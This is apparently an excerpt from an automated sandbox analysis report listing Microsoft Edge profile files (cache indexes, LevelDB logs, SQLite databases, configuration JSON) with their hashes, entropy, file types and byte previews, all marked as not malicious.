                                SHA-256:902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
                                SHA-512:376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
                                Malicious:false
                                Reputation:unknown
                                Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\index

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
                                Category:dropped
                                Size (bytes):262512
                                Entropy (8bit):9.553120663130604E-4
                                Encrypted:false
                                SSDEEP:
                                MD5:4FEC359FDFD7424D527DAF93A2AF6628
                                SHA1:DA5421C7EE1AE4173454D113ECDE4712415C30FA
                                SHA-256:AEDD351FB26A4260F53C4FA03A47D7545B3808BE3EE40097F9362D36543716AE
                                SHA-512:85B52DEE2C3FF2604AFB2A06038AFF8BF425CE53598FB10ED68680EEE395E0C9BE14CE36FA67144AB63E96D3302312076BAF7250C1F84369DA24202F31A60739
                                Malicious:false
                                Reputation:unknown
                                Preview:...........................................I5x/.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000003.log

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):116
                                Entropy (8bit):4.994010050744163
                                Encrypted:false
                                SSDEEP:
                                MD5:A105E51FE00336B6E15773C6527E666B
                                SHA1:2DB0F6E166BDB55F73C77B649542B9810041B35C
                                SHA-256:4D04DCB4BEE7F0510E10B56602A004B99C94E7C8184058CD1AF09B27E16D2AAB
                                SHA-512:723027F9076E2370CD04EFF88613CBEFF1BCBD721168E7BF53F2EE68E0E6EAF04205FC5D7B177D3BCF37E39A4890711068D3FEB106215FE5695E1ABC6AD2FB7D
                                Malicious:false
                                Reputation:unknown
                                Preview:...m.................DB_VERSION.1g.YL................FLYOUT_STORAGE:.{"personalization_data_consent_enabled":false}

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:ASCII text
                                Category:dropped
                                Size (bytes):341
                                Entropy (8bit):5.250873309429253
                                Encrypted:false
                                SSDEEP:
                                MD5:E4EFA588EE70E0DA085ABAF371368FBE
                                SHA1:458104311B4B144754D2464265001C71C9096F7E
                                SHA-256:1B8D82BBD3DEE7168BEC1B4266BE2DDC31EC28AF8F5A00C3EFEF39C7C087C3BC
                                SHA-512:D463AC04C6E66A6AC58809518ACB234DFF8B9DE131CFEE992B27B05A3CD3AB937E1D6828D45311D8FEC2580756012FF3D164D8DA2B49B368A3D380E388819FA0
                                Malicious:false
                                Reputation:unknown
                                Preview:2024/05/29-18:09:16.805 b60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/05/29-18:09:16.817 b60 Recovering log #3.2024/05/29-18:09:16.818 b60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
                                Category:dropped
                                Size (bytes):20480
                                Entropy (8bit):0.6125123318016372
                                Encrypted:false
                                SSDEEP:
                                MD5:701E332480B868F45AF6CC179161D479
                                SHA1:496C6F91083F6BC4292E69592F81702F7BDC4181
                                SHA-256:64C4B69CED5BBC85542BFEACACA3EDBFE3AD062714AC7D058D177A271C7CDD04
                                SHA-512:37B16F8DF45DEAA4CACFD4EC964CF2E96854D8204E0FCCC70B415E49E222A139FBED3B386A58D4DE8A7B291911B5B1FBE43DB470F7C73310415EF6F9B7C39E5C
                                Malicious:false
                                Reputation:unknown
                                Preview:SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):392645
                                Entropy (8bit):5.409315823554363
                                Encrypted:false
                                SSDEEP:
                                MD5:B3F7405FDDC862AC82FDA91D908E3CF7
                                SHA1:A0CFC7EBE0160D9C6892C0E3A0D01C42675BD8DE
                                SHA-256:440628FF970EA48E59F9E9B6036225D41DE2F93E86450C2A166ABC1DC6C013FD
                                SHA-512:FEA731A279A5C4329F6704114C4F814DEA244BAC6AD04EC9BD99496C58D84BED42F4F9AD9A0B969F49CC4AEAA4CAF5859B9B688E1F8B7C5A5A5ABAA3EE07876D
                                Malicious:false
                                Reputation:unknown
                                Preview:...m.................DB_VERSION.1...?................&QUERY_TIMESTAMP:domains_config_gz2.*.*.13361494160514864..QUERY:domains_config_gz2.*.*..[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.75/asset?sv=2017-07-29&sr=c&sig=Z66hqSRAIxK%2FfuiudWUa9VEzQbPIGUiDfcuGAIlqgPw%3D&st=2021-01-01T00%3A00%3A00Z&se=2024-07-30T00%3A00%3A00Z&sp=r&assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":75},"hash":"EwG2gkfquexLj6u3yjHyiL4YQwdU318k1Hub+1rSDMI=","size":391864}].j...}...............ASSET_VERSION:domains_config_gz.2.8.75..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:ASCII text
                                Category:dropped
                                Size (bytes):307
                                Entropy (8bit):5.15554770012505
                                Encrypted:false
                                SSDEEP:
                                MD5:EACC4881594505D852E62BC4B1A27DA3
                                SHA1:3B95BAB53C225FE329FBFBCE10F322C38C90D5DA
                                SHA-256:9833DC7EB8E0EFBC22C239DD2AB24C2DA411DAD87EDA7107D9A780C11E779639
                                SHA-512:2540631117A720B13AF6894CFED7C37823578815E000E528CA0A7C2CA1051FD12A23D67F8600CD741B76F83CAF624574FDFA76D38937355AED6A7F24E788C700
                                Malicious:false
                                Reputation:unknown
                                Preview:2024/05/29-18:09:19.806 1e90 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/05/29-18:09:19.848 1e90 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:modified
                                Size (bytes):374811
                                Entropy (8bit):5.396161883577478
                                Encrypted:false
                                SSDEEP:
                                MD5:7798301E203511952ED10A072B959457
                                SHA1:7FAFB53F9AE5A56C720AC60886A36047C18BF62C
                                SHA-256:F29C80F221FC6251F6716CA726E17404ED1E9C2B7B739AE72E3320C58F5423B6
                                SHA-512:D13E25F9C8E6376AAB02F3B13E868D2B19D88A2ECE2B640B468B3691AE0BFAC437C528934BBB27A0FE77580DB81BBBE098D6EB87BE2061BDA4D7DE749DF64A54
                                Malicious:false
                                Reputation:unknown
                                Preview:{"aee_config":{"ar":{"price_regex":{"ae":"(((ae|aed|\\x{062F}\\x{0660}\\x{0625}\\x{0660}|\\x{062F}\\.\\x{0625}|dhs|dh)\\s*\\d{1,3})|(\\d{1,3}\\s*(ae|aed|\\x{062F}\\x{0660}\\x{0625}\\x{0660}|\\x{062F}\\.\\x{0625}|dhs|dh)))","dz":"(((dzd|da|\\x{062F}\\x{062C})\\s*\\d{1,3})|(\\d{1,3}\\s*(dzd|da|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}|egp)\\s*\\d{1,3})|(\\d{1,3}\\s*(e\\x{00a3}|egp)))","ma":"(((mad|dhs|dh)\\s*\\d{1,3})|(\\d{1,3}\\s*(mad|dhs|dh)))","sa":"((\\d{1,3}\\s*(sar\\s*\\x{fdfc}|sar|sr|\\x{fdfc}|\\.\\x{0631}\\.\\x{0633}))|((sar\\s*\\x{fdfc}|sar|sr|\\x{fdfc}|\\.\\x{0631}\\.\\x{0633})\\s*\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s*\\x{0625}\\x{0644}\\x{0649}\\s*\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})|(\\x{0623}\\x{0636}\\x{0641}\\s*\\x{0625}\\x{0644}\\x{0649}\\s*\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:ASCII text
                                Category:dropped
                                Size (bytes):317
                                Entropy (8bit):5.19023257121045
                                Encrypted:false
                                SSDEEP:
                                MD5:C4D1079AA943DA6AC5B2A56AFBD9215C
                                SHA1:74D923B3AF49378741D6A63B6DE4CCBEAD3CCCA2
                                SHA-256:A35787D9FD77EFA6697BA51F692A17D85D9782E32E8C2C2BBEA815BD14B7E046
                                SHA-512:EFD0DEE4BDE7578F50EFA316278DBE40C876F8DEA4F7211EF99AB8FFD563BD7D68C54E8D8EE586DF5DAEFB0D7BE8BC0E3254B5BAC54C29C3F74812AF46E033BA
                                Malicious:false
                                Reputation:unknown
                                Preview:2024/05/29-18:09:16.801 494 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/05/29-18:09:16.802 494 Recovering log #3.2024/05/29-18:09:16.802 494 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):418
                                Entropy (8bit):1.8784775129881184
                                Encrypted:false
                                SSDEEP:
                                MD5:BF097D724FDF1FCA9CF3532E86B54696
                                SHA1:4039A5DD607F9FB14018185F707944FE7BA25EF7
                                SHA-256:1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
                                SHA-512:31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
                                Malicious:false
                                Reputation:unknown
                                Preview:.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:ASCII text
                                Category:dropped
                                Size (bytes):321
                                Entropy (8bit):5.204952039052058
                                Encrypted:false
                                SSDEEP:
                                MD5:61829EC9C58476DF11CCAF5771FA3B7A
                                SHA1:F5DA7E4BA2077ADF1F1BB1D8233AD48FE418299A
                                SHA-256:D4D64CDCCC925E4794A4DF66B5F2B4F7A25C187270666054740C14DC35B944E5
                                SHA-512:0E9FA91EF8A81C5DD8CF5BB75D21ED505BD2BD197C8702010A296C3B25EE559D30192A71E172B9230DE66981EE5E8D80884BC0484FCC85000143F91397B995F4
                                Malicious:false
                                Reputation:unknown
                                Preview:2024/05/29-18:09:16.820 494 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/05/29-18:09:16.821 494 Recovering log #3.2024/05/29-18:09:16.821 494 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):1254
                                Entropy (8bit):1.8784775129881184
                                Encrypted:false
                                SSDEEP:
                                MD5:826B4C0003ABB7604485322423C5212A
                                SHA1:6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
                                SHA-256:C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
                                SHA-512:0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
                                Malicious:false
                                Reputation:unknown
                                Preview:.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:ASCII text
                                Category:dropped
                                Size (bytes):317
                                Entropy (8bit):5.200488763372192
                                Encrypted:false
                                SSDEEP:
                                MD5:8647D51DB914192DFC47169A390A72EE
                                SHA1:3463DB83F284698B6AC60CD9AC1C63F174D39B82
                                SHA-256:8B3CCF68E822B076B2D1C9165527B7AB71AD88E37A67CC4B96766CE3F80D96FC
                                SHA-512:59C2A62FB3EA3D2935947614C0A5A48011D1B79E484536F0558263A3AE29D5CD140775FCED4468180FD2D2209B848B5DBACBAA56EB00F07ACF25F98CDE8651A2
                                Malicious:false
                                Reputation:unknown
                                Preview:2024/05/29-18:09:17.320 794 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/05/29-18:09:17.321 794 Recovering log #3.2024/05/29-18:09:17.321 794 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):429
                                Entropy (8bit):5.809210454117189
                                Encrypted:false
                                SSDEEP:
                                MD5:5D1D9020CCEFD76CA661902E0C229087
                                SHA1:DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
                                SHA-256:B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
                                SHA-512:5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
                                Malicious:false
                                Reputation:unknown
                                Preview:{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Favicons

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 19, cookie 0x8, schema 4, UTF-8, version-valid-for 2
                                Category:dropped
                                Size (bytes):40960
                                Entropy (8bit):4.323063048901858
                                Encrypted:false
                                SSDEEP:
                                MD5:88ED94CE8FBD70D8099AA899B22844C3
                                SHA1:F081CF909A066F06F3FC6DC4F1685FF26EC930FC
                                SHA-256:BFD2AF09AD72C8F610BE10292BF22505AEE4F8020A23E8020DFCFB2A12DA47C0
                                SHA-512:4C460B2D7EC20723C28EC5C52D85916A82F4A050339A491CB4113B906E4BD8033F3E8AE6FD0D087979B40CEF539D03EC02D370C384EAB66F9C7B34660D58D36E
                                Malicious:false
                                Reputation:unknown
                                Preview:SQLite format 3......@ ..........................................................................j..........g....._.c...~.2.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................s...;+...indexfavicon_bitmaps_icon_idfavico

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Favicons-journal

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:data
                                Category:modified
                                Size (bytes):19016
                                Entropy (8bit):3.1833465295295804
                                Encrypted:false
                                SSDEEP:
                                MD5:E57A86B3961E5E72F284504D3DA786EE
                                SHA1:AF4AFF8B0A8B447D8AECB46247749CBF038D50DB
                                SHA-256:2FF74B1B1E28A9DB9B21B3EAA1CDD7EBA439ED1359210E8FA441393A0D36276C
                                SHA-512:62967F99E57771B6F046EAA7394A254756C14A6FC8E1CC64FB35B56E3302E6F27D046101B0EAAC2785DC7C4B0258B638966A1AAEC4F3E1209A4EA876629E29D6
                                Malicious:false
                                Reputation:unknown
                                Preview:..............1z.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................U.:.....r................................................................................................................................................................................................................................E....https://edge.microsoft.com/favicon/v1?client=chrome_desktop&nfrp=2&check_seen=true&size=32&min_size=16&max_size=256&fallback_opts=TYPE,SIZE,URL&url=https://www.amazon.com/&origin=PinningWizard..I....https://edge.microsoft.com/fav

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_0

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
                                Category:dropped
                                Size (bytes):8192
                                Entropy (8bit):0.01057775872642915
                                Encrypted:false
                                SSDEEP:
                                MD5:CF89D16BB9107C631DAABF0C0EE58EFB
                                SHA1:3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
                                SHA-256:D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
                                SHA-512:8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
                                Malicious:false
                                Reputation:unknown
                                Preview:............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_2

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):8192
                                Entropy (8bit):0.011852361981932763
                                Encrypted:false
                                SSDEEP:
                                MD5:0962291D6D367570BEE5454721C17E11
                                SHA1:59D10A893EF321A706A9255176761366115BEDCB
                                SHA-256:EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
                                SHA-512:F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
                                Malicious:false
                                Reputation:unknown
                                Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_3

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):8192
                                Entropy (8bit):0.012340643231932763
                                Encrypted:false
                                SSDEEP:
                                MD5:41876349CB12D6DB992F1309F22DF3F0
                                SHA1:5CF26B3420FC0302CD0A71E8D029739B8765BE27
                                SHA-256:E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
                                SHA-512:E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
                                Malicious:false
                                Reputation:unknown
                                Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\index

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
                                Category:dropped
                                Size (bytes):262512
                                Entropy (8bit):9.553120663130604E-4
                                Encrypted:false
                                SSDEEP:
                                MD5:2AF80D6400F39C744C489887C9383D2F
                                SHA1:AF3B6CBAC338E720681BECA943FE24F17A0C7CB5
                                SHA-256:70CFD8F0620CE39DF83B1B64EE68FA18ECC776CE906557EC2FF728908F9E764D
                                SHA-512:0EFBCBE741EFE27A66FCC0D83D597062643ABE977FA5404D82503A1493D6947D9E189662070F4335A911423940643AE1B6C3F99971F26092CB8B7A6A91FEF54C
                                Malicious:false
                                Reputation:unknown
                                Preview:...........................................I5x/.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 2
                                Category:dropped
                                Size (bytes):155648
                                Entropy (8bit):0.6758833172762856
                                Encrypted:false
                                SSDEEP:
                                MD5:FBA012A910C7555F8ACA23826B8BCA8C
                                SHA1:2B672AA09D25C000DEE8FD8D4F27E377E987E6E9
                                SHA-256:19597A34955BC58FC2E92B5C40604FB38617994BD83DEDF097A598C1E3A9AB89
                                SHA-512:FB4DE5D8DD3508FA32CC53E029498B74D21F196E6C491ABB0AD5B37574A6C035CF6A698F84646D49E4ED1348C5565015BAE4A2B71DF4F78CFED138901683A9CC
                                Malicious:false
                                Reputation:unknown
                                Preview:SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:ASCII text, with very long lines (1597), with CRLF line terminators
                                Category:dropped
                                Size (bytes):0
                                Entropy (8bit):0.0
                                Encrypted:false
                                SSDEEP:
                                MD5:3D8183370B5E2A9D11D43EBEF474B305
                                SHA1:155AB0A46E019E834FA556F3D818399BFF02162B
                                SHA-256:6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
                                SHA-512:B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 11, cookie 0x3, schema 4, UTF-8, version-valid-for 6
                                Category:dropped
                                Size (bytes):45056
                                Entropy (8bit):3.5485956981271602
                                Encrypted:false
                                SSDEEP:
                                MD5:826783931CE71715F800D945C91E51B1
                                SHA1:3C9673448992EA2C5C957405653169545E626008
                                SHA-256:078E3A912C57108FE12A208EE0B46D664BEF3EBD953724941447BE833C3F84B5
                                SHA-512:253A22E1F2528102154089BF2E2A3AE5E5B3E5D226725DD22FB8FFFB8AD1052B832D4FA4F226F364D5F9F124EF4EA2A2DA99BEB7FE83DAD75E6246BC144AE1E7
                                Malicious:false
                                Reputation:unknown
                                Preview:SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:ASCII text
                                Category:dropped
                                Size (bytes):401
                                Entropy (8bit):5.304090718736882
                                Encrypted:false
                                SSDEEP:
                                MD5:F2277AFC314BE96CE6669A9FFAE61F80
                                SHA1:1AFF7D7BF5F48FAB44EEB4D1DD64DCDDD5B6D9B6
                                SHA-256:E5CCEF4B3E0A4C706AFCFA65389AEE9A93E5CA9561616472EE5411ECCE80ED4E
                                SHA-512:B30187882D9A1E4D4D1DC899750078F9097DD43A89660F2917E6176F1CC747AF039407129474F94A15B819404AD7F9964F9B6744FD6DD0D44A2F68BF05EC147B
                                Malicious:false
                                Reputation:unknown
                                Preview:2024/05/29-18:09:17.954 794 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/05/29-18:09:17.955 794 Recovering log #3.2024/05/29-18:09:17.955 794 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):8583
                                Entropy (8bit):5.556102234515488
                                Encrypted:false
                                SSDEEP:
                                MD5:27CB1E3858695A6762C4BE60729A9E8D
                                SHA1:CA1D2176EFD9571A3F32C7D2A244D913A9181905
                                SHA-256:BD26A71A9DCDD994213AC42FA225CD7D888E76D799CC6E57E1F41944E6302E78
                                SHA-512:13D8AD32B2306BA7F42E3F42A5811AA288E0B0D01995F601A542B42A16B21D148C6CDDB516BBC8E8A9A3E1C1F3F67B25F70B9E4E5911F728CC13521E89065BF5
                                Malicious:false
                                Reputation:unknown
